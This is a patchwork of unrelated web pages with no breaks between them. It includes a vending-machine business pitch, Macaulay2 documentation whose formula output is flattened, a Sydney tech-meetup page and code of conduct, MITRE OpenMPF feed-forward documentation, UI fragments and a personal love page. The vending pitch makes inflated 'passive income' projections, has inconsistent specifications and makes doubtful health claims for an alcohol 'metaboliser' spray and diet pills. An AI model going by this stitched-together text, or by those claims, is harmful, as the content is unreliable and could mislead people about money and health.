Vending business opportunities | Vending machine franchise
Are you looking for vending business opportunities or a vending machine franchise? Find out more about our Multi-Washroom Vending business opportunity below.
Want to jump to a particular section? Introduction, Market Place, Income or Packages
Welcome to our Multi-Washroom Vending business model. We specialize in the full setup of your chosen product into a fully operational business, including marketing, to get your new business off to the best start possible! We believe help and support is a key factor in any new business and we are proud to say that we supply this for as long as you need it, FREE of charge!
“Work for yourself, not by yourself”
We do not charge any royalty or license fees.
 We simply set it up for you and guide you through all of the potential pitfalls, so you have the best chance to succeed. We make sure you don’t make the mistakes that most people who try to go it alone (due to a lack of experience) will make! We offer all the positives of a franchise without all the complications normally associated with them.
THE PRODUCT
Vending is a great business; provided your venues are the right ones and the product you’re supplying is required. Getting this wrong can cost you! We have removed these worries with our Multi-Washroom Vending business. With up to 8 different products to choose from, we are confident there is something for everyone!
“Multiple choices, give multiple incomes”
We will install your machines using our professional sales team, with years of experience in selecting the right venues for your vending machines. A good footfall and 2 machines installed per site (one in the ladies and one in the men’s), gives you less travelling to collect and restock, yet 2 different types of customer in one place.
“Up to 9 x products, 2 venues = choice”
We have sourced the best products from researching what people want and need when they're out and about. Then, we commissioned a machine that can reliably dispense them, time and time again, with little or no maintenance.
Put these two together, along with our expert sales and marketing, and you have a great business, ready to go, that requires little effort...
“More of an investment than a business”
We will install your machines in your chosen area, in venues we believe will give you a good return. If, for any reason, one venue under performs, we will simply replace it for you, FREE of charge, as part of our backup and on-going support. We have dozens of products to choose from, if one product isn’t selling as well as you thought, simply change it for another!
“Choice is everything – More choice – more profit”
When people are out and about, our products can come in very handy indeed! I’m sure you yourselves may have bought one or two in your time! Following our proven system (no experience required) you’ll be able to operate your own business with ease and simplicity, re-stocking your machines and collecting your money!
Here’s just a few of our products...
- Smints
- Tampons
- Herbal Viagra
- V-Lites - electronic cigarettes
- Deodorant
- Difresh - smoke, bad breath, etc
- Difresh – Alcohol metaboliser mouth spray
- Plasters
- Condoms
Using our professional marketing team, we will arrange to have our products installed in stores, pubs, clubs etc.! We offer them a 20% commission or they can choose a charitable donation, which works very well in offices. So, all you have to do is re-stock them when the stock is low and collect your money. Depending on how many venues you purchase, you will literally only be working a few hours per month, unless you choose to purchase a lot of machines of course. There are no overheads, as you can operate from home and you won’t need much space, a small spare room, garage or shed is ideal to store your stock.
You’ll meet some interesting people in this business, so it’s ideal for those who enjoy getting out and meeting people. Whether you’re retired, semi-retired, or just looking to start a new career, this is for you!
- Excellent passive income
- Holds up to 8 different products
- Dozens of products to choose from
- Little work required
- Repeat business
- No overheads
- No selling required
- Full back-up and support
The Unit
Machine Dimensions
W 360mm H 1000cm D 230mm
Machine Weight
13.5kg (plastic model)
This is a battery operated machine and runs from a sealed battery pack (lasts approx 2000 vends)
Vend Price Options
The S2 machine accepts a range of coins and includes a coin reject option. However, it does not give change once a product has been purchased. Changing vend price and products is very straightforward. Clear instructions on how to alter the price/shelf settings can be found it the training manual that we will provide to you as part of the package.
"Excellent passive income – few hours – help charities”
Some of our brand new products
These brand new products are ideal for our washroom vending machines and are big sellers!
Vitamin Patch
Disposable Phone Charger
Diet Pills
Energy Support
Market Place
Wherever you live, everyone uses these products, every day... fact!  There are still plenty of places with great footfall that would love our machines in their premises, as they offer such a great choice. Even if we came across a potential site with a typical condom machine installed, we have a good success rate of installing one of our machines, as ours offer a much wider array of choice, so the venues understand they’ll make much more money if they have our multi-selling machines, rather than a single-selling unit.
“Expand with more machines or simply operate in your spare time”
Below are a few examples of where your products could sell exceedingly well...
- Pubs
- Clubs
- Pool Halls
- Colleges
- Universities
- Bus stations
- Shopping Malls
- Train Stations
- Offices
- Theatres
“Little work required – let your machines work for you”
With our proven, unique system, we will ensure your new business gets off to the best start possible...
Alcohol Metabolyser: A top selling product
Our metabolyser is a mouth spray with a fresh peppermint flavor that contains components to aid the body in the process of alcohol metabolisation and promote its elimination.
To explain how the metabolyser works we must start by letting you know that there is no product in the world that immediately decreases the alcohol level in the body, so do not be fooled by false promises of ingesting a product that in a few minutes decreases the alcohol level in the body, because it is impossible! Nothing can lower the Alcohol level in the body, it can only be metabolised.
In other words, our mouthspray does not eliminate alcohol (no product does!) instead, it helps your body to metabolyse (i.e. get rid of) the alcohol in your body. Therefore promoting quicker recovery from alcohol and reduced hangover time!
Our metabolyser mouthspray is perfect for clubs and bars and is a fantastic seller in such establishments.
"An effective alcohol metabolyser spray for speedy hangover recovery"
Here are some figures so you can understand the potential of this business.
Maximum reward for few hours...
“Work in your own time”
Based on just these 5 products, it will give you an understanding of the potential income you could receive. All of our products are of similar price and profit margins.
| Item | Cost | Recommended Sale price | Profit |
| Fresh wipes | 30p per sachet | £1.00 | 70p |
| Lil-lets pads | 50p | £2.00 | £1.50 |
| Smint | 50p | £1.50 | £1.00p |
| Condoms x 3 pack | 80p | £3.00 | £2.20 |
| Herbal Viagra | £1.00 | £3.00 | £2.00 |
If you purchase our 20 machine package, which would give you 10 venues (one machine in the male and one in the female restrooms) the following example profit is possible;
Remember: these are multiple product machines. Up to 8 to choose from...
Selling just 5 products per machine, per day, averaging = £1.50 profit, per sale
That’s £15 per day x 10 venues = £150.00 profit per day across the board = £4,500.00 per month.
Lil-letsLess 20% donation/commission.
= £120.00 per day x 30 days = £3,600.00 per month
Even selling small amounts per day can give you a great passive income, remember; you do not really have to work to receive this income, it’s more like an investment...
“The profits are there and we’re here to show you how to get it”
Starting at 4 x machines, from only £3,995+VAT. Obviously, the more machines you buy, the cheaper they become and the more money you’ll make.
| Number of Machines | Cost | Revenue
(per month) |
Profit
(per month) |
| 4 | £3,995+VAT | £900 | £720.00 |
| 6 | £5,995+VAT
(includes free liability insurance) |
£1,350 | £1,080.00 |
| 8
includes free fitting |
£7,995+VAT
(includes free liability insurance & £500 worth of stock) |
£1,800 | £1,440.00 |
| 10
includes free fitting |
£9,995+VAT
(includes free liability insurance, £500 worth of free stock & 1 free machine) |
£2,250 | £1,800.00 |
| 20
includes free fitting |
£17,950+VAT
(FREE £1,500 worth of stock, liability insurance & 2 free machines) |
£4,500 | £3,600.00 |
| 30
includes free fitting |
£24,995+VAT
(FREE £4,000 worth of stock & free liability insurance) |
£6,750 | £5,400.00 |
All packages come with the following:-
- Full setup and instruction in running your business
- FREE stock (10 machines or more)
- FREE fitting 8 machines or more - (these machines are easily fitted if you can drill and plug walls or know someone who can do it for you, if not we can help you – see optional extras)
- A full marketing campaign to obtain venues for your products in your chosen area
- I.D Badge
- FREE replacement service if one of your venues under performs
- FREE affiliate program
- Full back-up & support
Optional extras
Add installation of your machines and liability insurance from just £250 (ask us for details)


Consider a polynomial ring in N variables. For any hilbert function of a saturated ideal there is a unique almost lexsegment ideal. An almost lexsegment ideal is an ideal that is lexsegment in N-1 variables. Furthermore, this almost lexsegment ideal is saturated and has graded Betti numbers that are at least as large as those of any other saturated ideal with that hilbert function.
The Hilbert function of a lexsegment ideal is determined by the values in the degrees that are at and below the largest degree of any generator. As a result, it makes sense to specify the Hilbert function through the largest degree of a generator and then truncate the rest of the function. This also applies to almost lexsegment ideals since they are simply lexsegment ideals in a smaller ring.
This function returns the almost lexsegment ideal with the given Hilbert function.
i1 : lexsegmentIdeal (QQ[x_1..x_4], {1,2,3,3,3,3}) 3 o1 = ideal (x , x , x ) 1 2 3 o1 : Ideal of QQ[x , x , x , x ] 1 2 3 4 |
i2 : almostLexIdeal (QQ[x_1..x_5], {1,3,6,9,12,15}) 3 o2 = ideal (x , x , x ) 1 2 3 o2 : Ideal of QQ[x , x , x , x , x ] 1 2 3 4 5 |
i3 : lexsegmentIdeal (QQ[x_1..x_4], {1,2,3,3,3,3,0}) 3 2 4 5 6 o3 = ideal (x , x , x , x x , x x , x ) 1 2 3 3 4 3 4 4 o3 : Ideal of QQ[x , x , x , x ] 1 2 3 4 |
i4 : almostLexIdeal (QQ[x_1..x_5], {1,3,6,9,12,15,15}) 3 2 4 5 6 o4 = ideal (x , x , x , x x , x x , x ) 1 2 3 3 4 3 4 4 o4 : Ideal of QQ[x , x , x , x , x ] 1 2 3 4 5 |
i5 : lexsegmentIdeal (QQ[x_1..x_5], {1,5,15,35}) o5 = ideal 0 o5 : Ideal of QQ[x , x , x , x , x ] 1 2 3 4 5 |
i6 : almostLexIdeal (QQ[x_1..x_6], {1,6,21,56}) o6 = ideal 0 o6 : Ideal of QQ[x , x , x , x , x , x ] 1 2 3 4 5 6 |


Over 200 of Sydney's most social engineers, developers, web craftspeople and all techies gathered for one awesome combined mixer!
We're delighted to have people from a huge range of meetup groups joining us for the evening:
MeetupMixup co-founder & organiser
MeetupMixup co-founder & lead Sydney organiser
MeetupMixup co-founder & organiser
The combined Sydney 'mixer' has been a fond end to the year for over 6 years! These are but a few of the fantastic snaps from last year's #mumu15.
These awesome shots and more were taken by David Ma a.k.a. @frostickle.
We couldn't hold a #mumu16 without our amazing Platinum, Gold and Silver sponsors!
We have a range of sponsorship opportnities to suit your business. Details are included in our sponsorship prospectus. You can also email us if you have any questions about sponsorship.
MeetupMixup is dedicated to providing a harassment-free conference experience for everyone. We do not tolerate harassment of event participants, organisers, supporters or promoters in any form.
MeetupMixup participants violating these rules may be sanctioned or expelled from the event without a refund at the discretion of the organizers.
MeetupMixup (MuMu) Sydney is dedicated to providing a harassment-free experience for everyone. We do not tolerate harassment of participants in any form.
This code of conduct applies to all MeetupMixup Sydney venues and spaces, including public channels, private channels and direct messages, both online and off.
Anyone who violates this code of conduct may be sanctioned or expelled from these spaces at the discretion of the organizers.
Some MeetupMixup Sydney spaces may have additional rules in place, which will be made clearly available to participants. Participants are responsible for knowing and abiding by these rules.
Harassment includes:
MeetupMixup Sydney prioritizes marginalized people's safety over privileged people's comfort. The organizers will not act on complaints regarding:
If you are being harassed by a member of MeetupMixup Sydney, notice that someone else is being harassed, or have any other concerns, please contact any of the organizers in person
This code of conduct applies to MeetupMixup Sydney spaces, but if you are being harassed by a member of MeetupMixup Sydney outside our spaces, we still want to know about it. We will take all good-faith reports of harassment by MeetupMixup Sydney members, especially the organizers, seriously. This includes harassment outside our spaces and harassment that took place at any point in time. The organizers reserve the right to exclude people from MeetupMixup Sydney based on their past behavior, including behavior outside MeetupMixup Sydney spaces and behavior towards people who are not in MeetupMixup Sydney.
In order to protect organizers from abuse and burnout, we reserve the right to reject any report we believe to have been made in bad faith. Reports intended to silence legitimate criticism may be deleted without response.
We will respect confidentiality requests for the purpose of protecting victims of abuse. At our discretion, we may publicly name a person about whom we've received harassment complaints, or privately warn third parties about them, if we believe that doing so will increase the safety of MeetupMixup Sydney members or the general public. We will not name harassment victims without their affirmative consent.
Participants asked to stop any harassing behavior are expected to comply immediately.
If a participant engages in harassing behavior, the organizers may take any action they deem appropriate, up to and including expulsion from all MeetupMixup Sydney spaces and identification of the participant as a harasser to other MeetupMixup Sydney members or the general public.
This Code of Conduct is a rework of the Code of Conduct from http://witchat.github.io/.
The Code of Conduct may change from time to time, and the most recent version will be available on this page.


Nothing is as easy as it looks.
Press Twitter to twit the quote or Change quote to generate a random quote.


TatuJS
Samples
Sample 01
Dummy loader
Sample 02
Example site
Tests
Run
Settings
Run
Queue
Run
Dummy loader
Run
HTML loader


I design in the browser with HTML(5), CSS(3) and a touch of JavaScript. I can work with front-end frameworks like Bootstrap too.


Select a saved Note
Save a Pin
Highlight text and Note it
NOTED
yellow
green
red
blue
Scroll through highlighted notes
Scroll to Note
Annotations
Manage Account
Loading
Log Out
Login to "Noted"
Log In With Auth0
Press the Log In button above to log in.


The Workshop
National Institute of Technology (NIT) Kurukshetra and Terminal Ballistic Research Laboratory (TBRL) Chandigarh, are jointly organizing an International Workshop on Sustainable Energy, Power and Propulsion (ISEPP-2018) to be held at National Institute of Technology (NIT), Kurukshetra during March 18-22, 2018. This event will be organized in collaboration with Indian Institute of Technology (IIT) Kanpur, University of Maryland, College Park, University of Illinois at Chicago, Analytic & Computational Research Inc. USA. This is the 9th in a series of workshops on the broad theme of Energy, Power and Propulsion that started in 2004 with a review of the Status of Combustion in India and has evolved into a forum for the status of Sustainable Energy Development for Power and Propulsion worldwide.
For this year, the general theme is Clean Energy Production & Utilization. We expect to have contributions from world-renowned experts on topics that include Power, Propulsion, Pulse Detonation, Environmental Sustainability, Combustion, Emissions, Advanced Diagnostics etc. The program will comprise of a number of invited/plenary talks, panel sessions, a poster session and a session on research-in-progress. More than 150 delegates (International/ National) are expected to participate in this workshop. The workshop sponsors include ONR Global, NSF and DRDO. We also intend to collaborate with Springer and Begell House to bring out the proceedings in the form of a Research Monograph.
Highlights
- Invited lectures by renowned experts in the field of energy and combustion from across the globe.
- Two days exclusive course covering basic fundamentals to advance research in the domain of energy conversion.
- Poster presentation competition for students.
Who should attend?
Researchers and engineers from academia, R&D organizations and industries working in the areas of fuels, energy, combustion, power, propulsion, hypersonics, air pollution, sensors and diagnostics, modeling, fossil- and bio-fuels, alternative energy, energy-water nexus, droplets and atomization, novel combustion concepts, engine combustion, gas turbine combustion, swirl flows and other related areas.
NIT Kurukshetra
National Institute of Technology Kurukshetra (NITK) enjoys the reputation of being a centre of excellence, facilitating quality technical and management education, research and training. It has been conferred the status of being an Institution of National Importance. Established in the year 1963, NITK has made rapid strides toward excellence. The institute recognizes the significance of Institute-industry Interface and promotes interaction with the industry through student placements, consultancy services, joint research projects and jointly organizing workshops, seminars, conferences, etc. Further strengthening of this bond with the industry is currently a matter of priority for the institute. NITK offers undergraduate (B. Tech.) as well as post graduate (M. Tech.) programs in Civil, Computer Science, Electrical, Electronics and Communication, Mechanical Engineering, Production and Industrial Engineering, Information Technology and Master of Business Administration (MBA) – Marketing, Finance, Human Resource Management, Information Technology along with programs in Engineering, Technology, Applied Sciences, and Humanities & Social Sciences at doctorate level. The institute also offers excellent facilities for advanced research in the emerging areas of science and technology.
TBRL Chandigarh
Terminal Ballistics Research Laboratory (TBRL) was envisaged in 1961 as one of the armament research laboratory, under the Department of Defence Research & Development with an aim to provide facilities for applied research and technology development in the fields of high explosives, detonics, shock & blast, lethality, impact & penetration performance evaluation of warheads & other armament systems. The laboratory became fully operational in 1967 and was formally inaugurated in January 1968 by the then Defence Minister. The laboratory has the headquarter at Sector 30, Chandigarh. The TBRL ranges are divided into number of technical zones / trial areas which have been designed and spaced so as to allow conduct of experimental trials independent of each other. Each technical zone has been equipped with highly specialized instruments and diagnostic facilities, which generate critical inputs for the design and development of warheads and armament systems. The main feature of the trial areas is that the instruments are kept in the strong RCC bunkers and explosive or ammunition are detonated in the open. Over the last 50 years the laboratory has evolved from a test and evaluation center to an institute with expertise and competence in technology development, simulation, design and development of different explosive devices and related systems for armament applications.


NOTICE: This software (or technical data) was produced for the U.S. Government under contract, and is subject to the Rights in Data-General Clause 52.227-14, Alt. IV (DEC 2007). Copyright 2023 The MITRE Corporation. All Rights Reserved.
Introduction
Feed forward is an optional behavior of OpenMPF that allows tracks from one detection stage of the pipeline to be directly “fed into” the next stage. It differs from the default segmenting behavior in the following major ways:
-
The next stage will only look at the frames that had detections in the previous stage. The default segmenting behavior results in “filling the gaps” so that the next stage looks at all the frames between the start and end frames of the feed forward track, regardless of whether a detection was actually found in those frames.
-
The next stage can be configured to only look at the detection regions for the frames in the feed forward track. The default segmenting behavior does not pass the detection region information to the next stage, so the next stage looks at the whole frame region for every frame in the segment.
-
The next stage will process one sub-job per track generated in the previous stage. If the previous stage generated more than one track in a frame, say 3 tracks, then the next stage will process that frame a total of 3 times. Feed forward can be configured such that only the detection regions for those tracks are processed. If they are non-overlapping then there is no duplication of work. The default segmenting behavior will result in one sub-job that captures the frame associated with all 3 tracks.
Motivation
Consider using feed forward for the following reasons:
-
You have an algorithm that isn’t capable of breaking down a frame into regions of interest. For example, face detection can take a whole frame and generate a separate detection region for each face in the frame. On the other hand, performing classification with the OpenCV Deep Neural Network (DNN) component will take that whole frame and generate a single detection that’s the size of the frame’s width and height. The OpenCV DNN component will produce better results if it operates on smaller regions that only capture the desired object to be classified. Using feed forward, you can create a pipeline so that OpenCV DNN component only processes regions with motion in them.
-
You wish to reduce processing time by creating a pipeline in which algorithms are chained from fastest to slowest. For example, a pipeline that starts with motion detection will only feed regions with motion to the next stage, which may be a compute-intensive face detection algorithm. Reducing the amount of data that algorithm needs to process will speed up run times.
NOTE: Enabling feed forward results in more sub-jobs and more message passing between the workflow manager and components than the default segmenting behavior. Generally speaking, the more feed forward tracks, the greater the overhead cost. The cost may be outweighed by how feed forward can “filter out” pixel data that doesn’t need to be processed. Often, the greater the media resolution, the more pixel data is filtered out, and the greater the benefit.
The output of a feed forward pipeline is the intersection of each stage's output. For example, running a feed forward pipeline that contains a motion detector and a face detector will ultimately output detections where motion was detected in the first stage and a face was detected in the second stage.
First Stage and Combining Properties
When feed forward is enabled on a job, there is no change in behavior for the first stage of the pipeline because there is no track to feed in. In other words, the first stage will process the media file as though feed forward was not enabled. The tracks generated by the first stage will be passed to the second stage which will then be able to take advantage of the feed forward behavior.
NOTE: When
FEED_FORWARD_TYPE
is set to anything other thanNONE
, the following properties will be ignored:FRAME_INTERVAL
,USE_KEY_FRAMES
,SEARCH_REGION_*
.
If you wish to use the above properties, then you can configure them for the first stage of the pipeline, making sure that FEED_FORWARD_TYPE
is set to NONE
, or not specified, for the first stage. You can then configure each subsequent stage to use feed forward. Because only the frames with detections, and those detection regions, are passed forward from the first stage, the subsequent stages will inherit the effects of those properties set on the first stage.
Feed Forward Properties
Components that support feed forward have two algorithm properties that control the feed forward behavior: FEED_FORWARD_TYPE
and FEED_FORWARD_TOP_CONFIDENCE_COUNT
.
FEED_FORWARD_TYPE
can be set to the following values:
NONE
: Feed forward is disabled (default setting).FRAME
: For each detection in the feed forward track, search the entire frame associated with that detection. The track's detection regions are ignored.SUPERSET_REGION
: Using the feed forward track, generate a superset region (minimum area rectangle) that captures all of the detection regions in that track across all of the frames in that track. Refer to the Superset Region section for more details. For each detection in the feed forward track, search the superset region.REGION
: For each detection in the feed forward track, search the exact detection region.
NOTE: When using
REGION
, the location of the region within the frame, and the size of the region, may be different for each detection in the feed forward track. Thus,REGION
should not be used by algorithms that perform region tracking and require a consistent coordinate space from detection to detection. For those algorithms, useSUPERSET_REGION
instead. That will ensure that each detection region is relative to the upper right corner of the superset region for that track.
FEED_FORWARD_TOP_CONFIDENCE_COUNT
allows you to drop low confidence detections from feed forward tracks. Setting the property to a value less than or equal to 0 has no effect. In that case all detections in the feed forward track will be processed.
When FEED_FORWARD_TOP_CONFIDENCE_COUNT
is set to a number greater than 0, say 5, then the top 5 detections in the feed forward track (based on highest confidence) will be processed. If the track contains less than 5 detections then all of the detections in the track will be processed. If one or more detections have the same confidence value, then the detection(s) with the lower frame index take precedence.
Superset Region
A “superset region” is the smallest region of interest that contains all of the detections for all of the frames in a track. This is also known as a “union” or “minimum bounding rectangle".
For example, consider a track representing a person moving from the upper left to the lower right. The track consists of 3 frames that have the following detection regions:
- Frame 0:
(x = 10, y = 10, width = 10, height = 10)
- Frame 1:
(x = 15, y = 15, width = 10, height = 10)
- Frame 2:
(x = 20, y = 20, width = 10, height = 10)
Each detection region is drawn with a solid green line in the above diagram. The blue line represents the full frame region. The superset region for the track is (x = 10, y = 10, width = 20, height = 20)
, and is drawn with a dotted red line.
The major advantage of using a superset region is constant size. Some algorithms require the search space in each frame to be a constant size in order to successfully track objects.
A disadvantage is that the superset region will often be larger than any specific detection region, so the search space is not restricted to the smallest possible size in each frame; however, in many cases the search space will be significantly smaller than the whole frame.
In the worst case, a feed forward track might, for example, capture a person moving from the upper left corner of a video to the lower right corner. In that case the superset region will be the entire width and height of the frame, so SUPERSET_REGION
devolves into FRAME
.
In a more typical case, a feed forward track might capture a person moving in the upper left quadrant of a video. In that case SUPERSET_REGION
is able to filter out 75% of the rest of the frame data. In the example shown in the above diagram, SUPERSET_REGION
is able to filter out 83% of the rest of the frame data.
The above video shows three faces. For each face there is an inner bounding box that moves and an outer bounding box that does not. The inner bounding box represents the face detection in that frame, while the outer bounding box represents the superset region for the track associated with that face. Note that the bounding box for each face uses a different color. The colors are not related to those used in the above diagram.
MPFVideoCapture and MPFImageReader Tools
When developing a component, the C++ Batch Component API and Python Batch Component API include utilities that make it easier to support feed forward in your components. They work similarly, but only the C++ tools will be discussed here. The MPFVideoCapture
class is a wrapper around OpenCV's cv::VideoCapture
class. MPFVideoCapture
works very similarly to cv::VideoCapture
, except that it might modify the video frames based on job properties. From the point of view of someone using MPFVideoCapture
, these modifications are mostly transparent. MPFVideoCapture
makes it look like you are reading the original video file.
Conceptually, consider generating a new video from a feed forward track. The new video would have fewer frames (unless there was a detection in every frame) and possibly a smaller frame size.
For example, the original video file might be 30 frames long with 640x480 resolution. If the feed forward track found detections in frames 4, 7, and 10, then MPFVideoCapture
will make it look like the video only has those 3 frames. If the feed forward type is SUPERSET_REGION
or REGION,
and each detection is 30x50 pixels, then MPFVideoCapture
will make it look like the video's original resolution was 30x50 pixels.
One issue with this approach is that the detection frame numbers and bounding box will be relative to the modified video, not the original. To make the detections relative to the original video the MPFVideoCapture::ReverseTransform(MPFVideoTrack &videoTrack)
function must be used.
The general pattern for using MPFVideoCapture
is as follows:
std::vector<MPFVideoTrack> OcvDnnDetection::GetDetections(const MPFVideoJob &job) {
std::vector<MPFVideoTrack> tracks;
MPFVideoCapture video_cap(job);
cv::Mat frame;
while (video_cap.Read(frame)) {
// Process frames and detections to tracks vector
}
for (MPFVideoTrack &track : tracks) {
video_cap.ReverseTransform(track);
}
return tracks;
}
MPFVideoCapture
makes it look like the user is processing the original video, when in reality they are processing a modified version. To avoid confusion, this means that MPFVideoCapture
should always be returning frames that are the same size because most users expect each frame of a video to be the same size.
When using SUPERSET_REGION
this is not an issue, since one bounding box is used for the entire track. However, when using REGION
, each detection can be a different size, so it is not possible for MPFVideoCapture
to return frames that are always the same size. Since this is a deviation from the expected behavior, and breaks the transparency of MPFVideoCapture
, SUPERSET_REGION
should usually be preferred over REGION
. The REGION
setting should only be used with components that explicitly state they support it (e.g. OcvDnnDetection). Those components may not perform region tracking, so processing frames of various sizes is not a problem.
The MPFImageReader
class is similar to MPFVideoCapture
, but it works on images instead of videos. MPFImageReader
makes it look like the user is processing an original image, when in reality they are processing a modified version where the frame region is generated based on a detection (MPFImageLocation
) fed forward from the previous stage of a pipeline. Note that SUPERSET_REGION
and REGION
have the same effect when working with images. MPFImageReader
also has a reverse transform function.
OpenCV DNN Component Tracking
The OpenCV DNN component does not generate detection regions of its own when performing classification. Its tracking behavior depends on whether feed forward is enabled or not. When feed forward is disabled, the component will process the entire region of each frame of a video. If one or more consecutive frames has the same highest confidence classification, then a new track is generated that contains those frames.
When feed forward is enabled, the OpenCV DNN component will process the region of each frame of feed forward track according to the FEED_FORWARD_TYPE
. It will generate one track that contains the same frames as the feed forward track. If FEED_FORWARD_TYPE
is set to REGION
then the OpenCV DNN track will contain (inherit) the same detection regions as the feed forward track. In any case, the detectionProperties
map for the detections in the OpenCV DNN track will include the CLASSIFICATION
entries and possibly other OpenCV DNN component properties.
Feed Forward Pipeline Examples
GoogLeNet Classification with MOG Motion Detection and Feed Forward Region
First, create the following action:
CAFFE GOOGLENET DETECTION (WITH FEED FORWARD REGION) ACTION
+ Algorithm: DNNCV
+ MODEL_NAME: googlenet
+ SUBTRACT_BLUE_VALUE: 104.0
+ SUBTRACT_GREEN_VALUE: 117.0
+ SUBTRACT_RED_VALUE: 123.0
+ FEED_FORWARD_TYPE: REGION
Then create the following task:
CAFFE GOOGLENET DETECTION (WITH FEED FORWARD REGION) TASK
+ CAFFE GOOGLENET DETECTION (WITH FEED FORWARD REGION) ACTION
Then create the following pipeline:
CAFFE GOOGLENET DETECTION (WITH MOG MOTION TRACKING AND FEED FORWARD REGION) PIPELINE
+ MOG MOTION DETECTION (WITH TRACKING) TASK
+ CAFFE GOOGLENET DETECTION (WITH FEED FORWARD REGION) TASK
Running this pipeline will result in OpenCV DNN tracks that contain detections where there was MOG motion. Each detection in each track will have an OpenCV DNN CLASSIFICATION
entry. Each track has a 1-to-1 correspondence with a MOG motion track.
Refer to runMogThenCaffeFeedForwardExactRegionTest()
in the TestSystemOnDiff
class for a system test that demonstrates this behavior. Refer to runMogThenCaffeFeedForwardSupersetRegionTest()
in that class for a system test that uses SUPERSET_REGION
instead. Refer to runMogThenCaffeFeedForwardFullFrameTest()
for a system test that uses FRAME
instead.
NOTE: Short and/or spurious MOG motion tracks will result in more overhead work when performing feed forward. To mitigate this, consider setting the
MERGE_TRACKS
,MIN_GAP_BETWEEN_TRACKS
, andMIN_TRACK_LENGTH
properties to generate longer motion tracks and discard short and/or spurious motion tracks.NOTE: It doesn’t make sense to use
FEED_FORWARD_TOP_CONFIDENCE_COUNT
on a pipeline stage that follows a MOG or SuBSENSE motion detection stage. That’s because those motion detectors don’t generate tracks with confidence values. Instead,FEED_FORWARD_TOP_CONFIDENCE_COUNT
could potentially be used when feeding person tracks into a face detector, for example, if those person tracks have confidence values.
OCV Face Detection with MOG Motion Detection and Feed Forward Superset Region
First, create the following action:
OCV FACE DETECTION (WITH FEED FORWARD SUPERSET REGION) ACTION
+ Algorithm: FACECV
+ FEED_FORWARD_TYPE: SUPERSET_REGION
Then create the following task:
OCV FACE DETECTION (WITH FEED FORWARD SUPERSET REGION) TASK
+ OCV FACE DETECTION (WITH FEED FORWARD SUPERSET REGION) ACTION
Then create the following pipeline:
OCV FACE DETECTION (WITH MOG MOTION TRACKING AND FEED FORWARD SUPERSET REGION) PIPELINE
+ MOG MOTION DETECTION (WITH TRACKING) TASK
+ OCV FACE DETECTION (WITH FEED FORWARD SUPERSET REGION) TASK
Running this pipeline will result in OCV face tracks that contain detections where there was MOG motion. Each track has a 1-to-1 correspondence with a MOG motion track.
Refer to runMogThenOcvFaceFeedForwardRegionTest()
in the TestSystemOnDiff
class for a system test that demonstrates this behavior.


{% extends 'layout/base.html' %} {% block title %}Departmental Evaluation{% endblock %} {% block content %}
Departmental evaluation predicts which ACM knowledge areas a particular department's courses fall under. If provided, this tool will additionally self-evaluate and display the correctness of these predictions against a manually-annotated ground-truth labeling of each course.
Select a department to get started.


--- layout: default title: Landing page ---
Visit our Meetup page for the latest details on brigade meetings.


---
layout: default
title: 爱瑄宝
---
Forgive me for needing you in my life, Forgive me for enjoying the beauty of your body and soul, Forgive me for wanting to be with you when I grow old..今生挚爱瑄宝宝
A sudden passion joined us,such certainty is beautiful,but uncertainty is more beautiful still.
Stuck Like Glue as we are，you are the only one who can light my fire, we're stuck together,forever and ever
My fair bonnie lass,so deep in love am I;And I will love you still,till all the seas gone dry,And the rocks melt with the sun.
When I say I want to calm down, actually I do not mean leave me alone. I was missing you.Jingjing, Tiantian,Huanhuan,Rourou,Derder,all these are names I sweetly called you my dear
The ultimate measure of a sheep is not where he stands in moments of comfort and convenience, but where he stands at times of challenge and controversy.
Sign up to hear the latest news and progress in our fight for the sheep vote.